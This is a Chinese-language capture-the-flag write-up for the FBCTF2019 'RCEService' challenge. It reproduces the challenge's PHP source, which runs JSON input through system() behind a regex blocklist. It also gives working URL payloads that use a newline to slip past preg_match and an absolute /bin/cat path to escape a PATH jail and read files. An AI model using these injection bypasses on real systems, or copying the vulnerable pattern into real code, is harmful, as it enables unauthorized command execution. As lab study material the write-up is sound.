[FBCTF2019]RCEService

[FBCTF2019]RCEService

 

一看就是很标准的rce题的模样，要求用json传递，查看页面源代码发现参数是cmd

 

构造ls的json，然后回显了当前目录下的文件，发现只有一个index.php

看到有的师傅wp里写的直接看源码审计，这里其实就是先构造，审计了index.php的源码，然后发现了环境变量，进而找到flag的位置

看页面源码的payload：

http://902101f5-7939-4cb4-a4df-683f733545d7.node4.buuoj.cn/?cmd={%0A%22cmd%22:%20%22/bin/cat%20./index.php%22%0A}

这里学会一个新的修复姿势，后文说，绕过方式就是这个/bin/cat

 

这里莫名其妙还被火绒给拦截了

页面源码

<?php

putenv('PATH=/home/rceservice/jail');


if (isset($_REQUEST['cmd'])) {


$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';

} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {

echo 'Hacking attempt detected<br/><br/>';

} else {

echo 'Attempting to run command:<br/>';

$cmd = json_decode($json, true)['cmd'];

if ($cmd !== NULL) {

system($cmd);

} else {

echo 'Invalid input';

}

echo '<br/><br/>';

}

}

?>

这里其实最重要的点有两个

第一是

putenv('PATH=/home/rceservice/jail');

这里为了避免调用系统命令，就可以临时改环境变量

指定了一个环境变量，也就是cat这个命令是不能直接用的，因为环境变量临时被修改了，所以必须用/bin/cat才可以

 

第二个就是preg_match()这个函数，它有个特性就是只对第一行正则匹配，可以利用这个特性绕过

%0A是换行符

最终payload：

http://902101f5-7939-4cb4-a4df-683f733545d7.node4.buuoj.cn/?cmd={%0A%22cmd%22:%20%22/bin/cat%20/home/rceservice/flag%22%0A}